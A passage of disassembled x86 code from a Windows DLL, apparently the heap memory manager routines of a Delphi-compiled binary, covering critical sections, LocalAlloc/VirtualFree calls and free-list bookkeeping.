loc_10001769:				; CODE XREF: sub_100016E4+6Fj
					; sub_100016E4+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100016E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001770	proc near		; CODE XREF: sub_10001E5C+14p
					; sub_10001FEC+19p ...

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 10002A5C SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset loc_10001826
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_100055B0
		call	sub_100010C4	; InitializeCriticalSection
		cmp	ds:byte_10005035, 0
		jz	short loc_1000179E
		push	offset dword_100055B0
		call	sub_100010CC	; RtlEnterCriticalSection


loc_1000179E:				; CODE XREF: sub_10001770+22j
		mov	eax, offset off_100055D0
		call	sub_10001134
		mov	eax, offset off_100055E0
		call	sub_10001134
		mov	eax, offset off_1000560C
		call	sub_10001134
		push	0FF8h
		push	0
		call	sub_100010A4	; LocalAlloc
		mov	ds:dword_10005608, eax
		cmp	ds:dword_10005608, 0
		jz	short loc_10001805
		mov	eax, 3


loc_100017DB:				; CODE XREF: sub_10001770+7Dj
		mov	edx, ds:dword_10005608
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_100017DB
		mov	eax, offset dword_100055F0
		mov	[eax+4], eax
		mov	[eax], eax
		mov	ds:dword_100055FC, eax
		mov	ds:byte_100055A8, 1


loc_10001805:				; CODE XREF: sub_10001770+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000182D


loc_10001812:				; CODE XREF: sub_10001770+BBj
		cmp	ds:byte_10005035, 0
		jz	short locret_10001825
		push	offset dword_100055B0
		call	sub_100010D4	; RtlLeaveCriticalSection

locret_10001825:			; CODE XREF: sub_10001770+A9j
		retn
; ---------------------------------------------------------------------------


loc_10001826:				; DATA XREF: sub_10001770+6o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10001812
; ---------------------------------------------------------------------------


loc_1000182D:				; DATA XREF: sub_10001770+9Do
		mov	al, ds:byte_100055A8
		pop	ebp
		retn
sub_10001770	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001834	proc near		; CODE XREF: sub_100032C4+37p
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	ds:byte_100055A8, 0
		jz	loc_10001911
		xor	edx, edx
		push	ebp
		push	offset loc_1000190A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_10005035, 0
		jz	short loc_10001866
		push	offset dword_100055B0
		call	sub_100010CC	; RtlEnterCriticalSection


loc_10001866:				; CODE XREF: sub_10001834+26j
		mov	ds:byte_100055A8, 0
		mov	eax, ds:dword_10005608
		push	eax
		call	sub_100010AC	; LocalFree
		xor	eax, eax
		mov	ds:dword_10005608, eax
		mov	ebx, ds:off_100055D0
		jmp	short loc_10001899
; ---------------------------------------------------------------------------


loc_10001887:				; CODE XREF: sub_10001834+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	sub_100010BC	; VirtualFree
		mov	ebx, [ebx]


loc_10001899:				; CODE XREF: sub_10001834+51j
		cmp	ebx, offset off_100055D0
		jnz	short loc_10001887
		mov	eax, offset off_100055D0
		call	sub_10001134
		mov	eax, offset off_100055E0
		call	sub_10001134
		mov	eax, offset off_1000560C
		call	sub_10001134
		mov	eax, ds:dword_100055C8
		test	eax, eax
		jz	short loc_100018DF


loc_100018C8:				; CODE XREF: sub_10001834+A9j
		mov	edx, [eax]
		mov	ds:dword_100055C8, edx
		push	eax
		call	sub_100010AC	; LocalFree
		mov	eax, ds:dword_100055C8
		test	eax, eax
		jnz	short loc_100018C8


loc_100018DF:				; CODE XREF: sub_10001834+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10001911


loc_100018EC:				; CODE XREF: sub_10001834+DBj
		cmp	ds:byte_10005035, 0
		jz	short loc_100018FF
		push	offset dword_100055B0
		call	sub_100010D4	; RtlLeaveCriticalSection


loc_100018FF:				; CODE XREF: sub_10001834+BFj
		push	offset dword_100055B0
		call	sub_100010DC	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_1000190A:				; DATA XREF: sub_10001834+14o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_100018EC
; ---------------------------------------------------------------------------


loc_10001911:				; CODE XREF: sub_10001834+Bj
					; DATA XREF: sub_10001834+B3o
		pop	ebx
		pop	ebp
		retn
sub_10001834	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001914	proc near		; CODE XREF: sub_10001A24:loc_10001A85p
					; sub_10001A94+23p ...
		push	ebx
		cmp	eax, ds:dword_100055FC
		jnz	short loc_10001926
		mov	edx, [eax+4]
		mov	ds:dword_100055FC, edx


loc_10001926:				; CODE XREF: sub_10001914+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_1000196C
		cmp	eax, edx
		jnz	short loc_1000194F
		test	ecx, ecx
		jns	short loc_1000193F
		add	ecx, 3


loc_1000193F:				; CODE XREF: sub_10001914+26j
		sar	ecx, 2
		mov	eax, ds:dword_10005608
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_10001973
; ---------------------------------------------------------------------------


loc_1000194F:				; CODE XREF: sub_10001914+22j
		test	ecx, ecx
		jns	short loc_10001956
		add	ecx, 3


loc_10001956:				; CODE XREF: sub_10001914+3Dj
		sar	ecx, 2
		mov	ebx, ds:dword_10005608
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_1000196C:				; CODE XREF: sub_10001914+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx


loc_10001973:				; CODE XREF: sub_10001914+39j
		pop	ebx
		retn
sub_10001914	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001978	proc near		; CODE XREF: sub_10001ACC+11p
		mov	edx, ds:off_1000560C
		jmp	short loc_10001990
; ---------------------------------------------------------------------------


loc_10001980:				; CODE XREF: sub_10001978+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_1000198E
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_100019A4


loc_1000198E:				; CODE XREF: sub_10001978+Dj
		mov	edx, [edx]


loc_10001990:				; CODE XREF: sub_10001978+6j
		cmp	edx, offset off_1000560C
		jnz	short loc_10001980
		mov	ds:dword_100055AC, 3
		xor	edx, edx


loc_100019A4:				; CODE XREF: sub_10001978+14j
		mov	eax, edx
		retn
sub_10001978	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100019A8	proc near		; CODE XREF: sub_10001ACC+74p
					; sub_10001C50+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_100019C5
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_10001B7C
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_100019C5:				; CODE XREF: sub_100019A8+Cj
		cmp	edx, 4
		jl	short loc_100019D6
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx


loc_100019D6:				; CODE XREF: sub_100019A8+20j
		pop	ebx
		retn
sub_100019A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_100019D8	proc near		; CODE XREF: sub_100019FC+Dp
					; sub_10001C04+36p ...
		inc	ds:dword_1000559C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_100055A0, edx
		call	sub_10001FEC
		retn
sub_100019D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100019FC	proc near		; CODE XREF: sub_10001ACC+8Ep
		cmp	edx, 0Ch
		jl	short loc_10001A0F
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_100019D8
		retn
; ---------------------------------------------------------------------------


loc_10001A0F:				; CODE XREF: sub_100019FC+3j
		cmp	edx, 4
		jl	short loc_10001A1E
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_10001A1E:				; CODE XREF: sub_100019FC+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_100019FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001A24	proc near		; CODE XREF: sub_10001C50+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_10001A47
		mov	ds:dword_100055AC, 4


loc_10001A47:				; CODE XREF: sub_10001A24+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_10001A67
		mov	ds:dword_100055AC, 5


loc_10001A67:				; CODE XREF: sub_10001A24+37j
		test	byte ptr [ecx],	1
		jz	short loc_10001A8C
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_10001A85
		mov	ds:dword_100055AC, 6


loc_10001A85:				; CODE XREF: sub_10001A24+55j
		call	sub_10001914
		add	ebx, esi


loc_10001A8C:				; CODE XREF: sub_10001A24+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_10001A24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001A94	proc near		; CODE XREF: sub_10001C50+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_10001AAF
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_10001AAF:				; CODE XREF: sub_10001A94+Ej
		test	al, 2
		jnz	short loc_10001AC6
		mov	esi, ebx
		mov	eax, esi
		call	sub_10001914
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_10001AC6:				; CODE XREF: sub_10001A94+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001A94	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001ACC	proc near		; CODE XREF: sub_10001B7C+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_10001978
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_10001B6E
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_10001B04
		mov	edi, eax
		sub	edi, esi


loc_10001B04:				; CODE XREF: sub_10001ACC+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_10001B21
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_100016E4
		jmp	short loc_10001B32
; ---------------------------------------------------------------------------


loc_10001B21:				; CODE XREF: sub_10001ACC+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_100016E4


loc_10001B32:				; CODE XREF: sub_10001ACC+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_10001B6E
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_100019A8
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_10001B5F
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_100019FC


loc_10001B5F:				; CODE XREF: sub_10001ACC+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_100011F8
		mov	[esp+1Ch+var_1C], 1


loc_10001B6E:				; CODE XREF: sub_10001ACC+1Aj
					; sub_10001ACC+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001ACC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001B7C	proc near		; CODE XREF: sub_100019A8+16p
					; sub_10001D68+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_10001BD1
		mov	edx, esi
		test	edx, edx
		jns	short loc_10001BA3
		add	edx, 3


loc_10001BA3:				; CODE XREF: sub_10001B7C+22j
		sar	edx, 2
		mov	eax, ds:dword_10005608
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_10001BC3
		mov	eax, ds:dword_10005608
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_10001BFD
; ---------------------------------------------------------------------------


loc_10001BC3:				; CODE XREF: sub_10001B7C+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_10001BFD
; ---------------------------------------------------------------------------


loc_10001BD1:				; CODE XREF: sub_10001B7C+1Cj
		cmp	esi, 3C00h
		jl	short loc_10001BE6
		mov	edx, esi
		mov	eax, edi
		call	sub_10001ACC
		test	al, al
		jnz	short loc_10001BFD


loc_10001BE6:				; CODE XREF: sub_10001B7C+5Bj
		mov	eax, ds:dword_100055FC
		mov	ds:dword_100055FC, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx


loc_10001BFD:				; CODE XREF: sub_10001B7C+45j
					; sub_10001B7C+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001B7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001C04	proc near		; CODE XREF: sub_10001C50+Fp
					; sub_10001FEC+100p ...
		cmp	ds:dword_10005600, 0
		jle	short locret_10001C4D
		cmp	ds:dword_10005600, 0Ch
		jge	short loc_10001C22
		mov	ds:dword_100055AC, 7
		jmp	short locret_10001C4D
; ---------------------------------------------------------------------------


loc_10001C22:				; CODE XREF: sub_10001C04+10j
		mov	eax, ds:dword_10005600
		or	eax, 2
		mov	edx, ds:dword_10005604
		mov	[edx], eax
		mov	eax, ds:dword_10005604
		add	eax, 4
		call	sub_100019D8
		xor	eax, eax
		mov	ds:dword_10005604, eax
		xor	eax, eax
		mov	ds:dword_10005600, eax

locret_10001C4D:			; CODE XREF: sub_10001C04+7j
					; sub_10001C04+1Cj
		retn
sub_10001C04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001C50	proc near		; CODE XREF: sub_10001CDC+18p
					; sub_10001D08+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_10001C04
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset off_1000560C
		call	sub_10001184
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_10001C80
		xor	eax, eax
		jmp	short loc_10001CD2
; ---------------------------------------------------------------------------


loc_10001C80:				; CODE XREF: sub_10001C50+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_10001C90
		call	sub_10001A24
		sub	[edi], eax
		add	[edi+4], eax


loc_10001C90:				; CODE XREF: sub_10001C50+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_10001CA7
		call	sub_10001A94
		add	[edi+4], eax


loc_10001CA7:				; CODE XREF: sub_10001C50+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_10001CC1
		sub	eax, 4
		mov	edx, 4
		call	sub_100019A8
		sub	dword ptr [edi+4], 4


loc_10001CC1:				; CODE XREF: sub_10001C50+5Ej
		mov	eax, [edi]
		mov	ds:dword_10005604, eax
		mov	eax, [edi+4]
		mov	ds:dword_10005600, eax
		mov	al, 1


loc_10001CD2:				; CODE XREF: sub_10001C50+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001C50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001CDC	proc near		; CODE XREF: sub_10001D68+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_10001530
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_10001CFD
		mov	eax, esp
		call	sub_10001C50
		test	al, al
		jnz	short loc_10001D01


loc_10001CFD:				; CODE XREF: sub_10001CDC+14j
		xor	eax, eax
		jmp	short loc_10001D03
; ---------------------------------------------------------------------------


loc_10001D01:				; CODE XREF: sub_10001CDC+1Fj
		mov	al, 1


loc_10001D03:				; CODE XREF: sub_10001CDC+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_10001CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001D08	proc near		; CODE XREF: sub_10002190+199p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_100015C0
		cmp	[esp+10h+var_10], 0
		jz	short loc_10001D2E
		mov	eax, esp
		call	sub_10001C50
		test	al, al
		jnz	short loc_10001D32


loc_10001D2E:				; CODE XREF: sub_10001D08+19j
		xor	eax, eax
		jmp	short loc_10001D34
; ---------------------------------------------------------------------------


loc_10001D32:				; CODE XREF: sub_10001D08+24j
		mov	al, 1


loc_10001D34:				; CODE XREF: sub_10001D08+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_10001D08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001D3C	proc near		; CODE XREF: sub_10001D68+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_10001D45
		add	eax, 3


loc_10001D45:				; CODE XREF: sub_10001D3C+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_10001D65


loc_10001D4F:				; CODE XREF: sub_10001D3C+27j
		mov	edx, ds:dword_10005608
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_10001D65
		inc	eax
		cmp	eax, 401h
		jnz	short loc_10001D4F


loc_10001D65:				; CODE XREF: sub_10001D3C+11j
					; sub_10001D3C+1Fj
		mov	eax, edx
		retn
sub_10001D3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001D68	proc near		; CODE XREF: sub_10001E5C+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_100055FC
		mov	ebp, offset dword_10005600


loc_10001D78:				; CODE XREF: sub_10001D68+6Aj
		mov	ebx, ds:dword_100055F4
		cmp	esi, [ebx+8]
		jle	loc_10001E0B
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_10001E0B
		mov	[ebx+8], esi


loc_10001D93:				; CODE XREF: sub_10001D68+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_10001D93
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_10001DA8
		mov	[edi], ebx
		jmp	short loc_10001E0B
; ---------------------------------------------------------------------------


loc_10001DA8:				; CODE XREF: sub_10001D68+3Aj
		cmp	esi, 1000h
		jg	short loc_10001DBD
		mov	eax, esi
		call	sub_10001D3C
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10001E0B


loc_10001DBD:				; CODE XREF: sub_10001D68+46j
		mov	eax, esi
		call	sub_10001CDC
		test	al, al
		jnz	short loc_10001DCF
		xor	eax, eax
		jmp	loc_10001E57
; ---------------------------------------------------------------------------


loc_10001DCF:				; CODE XREF: sub_10001D68+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_10001D78
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_10001DE5
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_10001DE5:				; CODE XREF: sub_10001D68+73j
		mov	eax, ds:dword_10005604
		add	ds:dword_10005604, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_1000559C
		sub	esi, 4
		add	ds:dword_100055A0, esi
		jmp	short loc_10001E57
; ---------------------------------------------------------------------------


loc_10001E0B:				; CODE XREF: sub_10001D68+19j
					; sub_10001D68+26j ...
		mov	eax, ebx
		call	sub_10001914
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_10001E2A
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_10001B7C
		jmp	short loc_10001E3C
; ---------------------------------------------------------------------------


loc_10001E2A:				; CODE XREF: sub_10001D68+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_10001E35
		mov	eax, [ebx+4]
		mov	[edi], eax


loc_10001E35:				; CODE XREF: sub_10001D68+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh


loc_10001E3C:				; CODE XREF: sub_10001D68+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_1000559C
		sub	esi, 4
		add	ds:dword_100055A0, esi


loc_10001E57:				; CODE XREF: sub_10001D68+62j
					; sub_10001D68+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001E5C	proc near		; CODE XREF: sub_10002360+5Cp
					; sub_10002424+5p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	ds:byte_100055A8, 0
		jnz	short loc_10001E79
		call	sub_10001770
		test	al, al
		jz	short loc_10001E81


loc_10001E79:				; CODE XREF: sub_10001E5C+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_10001E8B


loc_10001E81:				; CODE XREF: sub_10001E5C+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_10001FDF
; ---------------------------------------------------------------------------


loc_10001E8B:				; CODE XREF: sub_10001E5C+23j
		xor	ecx, ecx
		push	ebp
		push	offset loc_10001FD8
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_10005035, 0
		jz	short loc_10001EAC
		push	offset dword_100055B0
		call	sub_100010CC	; RtlEnterCriticalSection


loc_10001EAC:				; CODE XREF: sub_10001E5C+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_10001EBC
		mov	ebx, 0Ch


loc_10001EBC:				; CODE XREF: sub_10001E5C+59j
		cmp	ebx, 1000h
		jg	loc_10001F5B
		mov	eax, ebx
		test	eax, eax
		jns	short loc_10001ED1
		add	eax, 3


loc_10001ED1:				; CODE XREF: sub_10001E5C+70j
		sar	eax, 2
		mov	edx, ds:dword_10005608
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_10001F5B
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_10001F0C
		mov	eax, ebx
		test	eax, eax
		jns	short loc_10001EFB
		add	eax, 3


loc_10001EFB:				; CODE XREF: sub_10001E5C+9Aj
		sar	eax, 2
		mov	ecx, ds:dword_10005608
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_10001F32
; ---------------------------------------------------------------------------


loc_10001F0C:				; CODE XREF: sub_10001E5C+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_10001F15
		add	ecx, 3


loc_10001F15:				; CODE XREF: sub_10001E5C+B4j
		sar	ecx, 2
		mov	edi, ds:dword_10005608
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_10001F32:				; CODE XREF: sub_10001E5C+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1000559C
		sub	ebx, 4
		add	ds:dword_100055A0, ebx
		call	sub_10002B18
		jmp	loc_10001FDF
; ---------------------------------------------------------------------------


loc_10001F5B:				; CODE XREF: sub_10001E5C+66j
					; sub_10001E5C+84j
		cmp	ebx, ds:dword_10005600
		jg	short loc_10001FAD
		sub	ds:dword_10005600, ebx
		cmp	ds:dword_10005600, 0Ch
		jge	short loc_10001F7F
		add	ebx, ds:dword_10005600
		xor	eax, eax
		mov	ds:dword_10005600, eax


loc_10001F7F:				; CODE XREF: sub_10001E5C+114j
		mov	eax, ds:dword_10005604
		add	ds:dword_10005604, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1000559C
		sub	ebx, 4
		add	ds:dword_100055A0, ebx
		call	sub_10002B18
		jmp	short loc_10001FDF
; ---------------------------------------------------------------------------


loc_10001FAD:				; CODE XREF: sub_10001E5C+105j
		mov	eax, ebx
		call	sub_10001D68
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10001FDF


loc_10001FC4:				; CODE XREF: sub_10001E5C+181j
		cmp	ds:byte_10005035, 0
		jz	short locret_10001FD7
		push	offset dword_100055B0
		call	sub_100010D4	; RtlLeaveCriticalSection

locret_10001FD7:			; CODE XREF: sub_10001E5C+16Fj
		retn
; ---------------------------------------------------------------------------


loc_10001FD8:				; DATA XREF: sub_10001E5C+32o
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_10001FC4
; ---------------------------------------------------------------------------


loc_10001FDF:				; CODE XREF: sub_10001E5C+2Aj
					; sub_10001E5C+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10001E5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001FEC	proc near		; CODE XREF: sub_100019D8+1Cp
					; sub_10002360+88p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_100055AC, eax
		cmp	ds:byte_100055A8, 0
		jnz	short loc_10002024
		call	sub_10001770
		test	al, al
		jnz	short loc_10002024
		mov	ds:dword_100055AC, 8
		mov	[ebp+var_4], 8
		jmp	loc_10002185
; ---------------------------------------------------------------------------


loc_10002024:				; CODE XREF: sub_10001FEC+17j
					; sub_10001FEC+20j
		xor	ecx, ecx
		push	ebp
		push	offset loc_1000217E
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_10005035, 0
		jz	short loc_10002045
		push	offset dword_100055B0
		call	sub_100010CC	; RtlEnterCriticalSection


loc_10002045:				; CODE XREF: sub_10001FEC+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_10002060
		mov	ds:dword_100055AC, 9
		jmp	loc_10002155
; ---------------------------------------------------------------------------


loc_10002060:				; CODE XREF: sub_10001FEC+63j
		dec	ds:dword_1000559C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_100055A0, eax
		test	bl, 1
		jz	short loc_100020C0
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_10002090
		test	edx, 80000003h
		jz	short loc_1000209F


loc_10002090:				; CODE XREF: sub_10001FEC+9Aj
		mov	ds:dword_100055AC, 0Ah
		jmp	loc_10002155
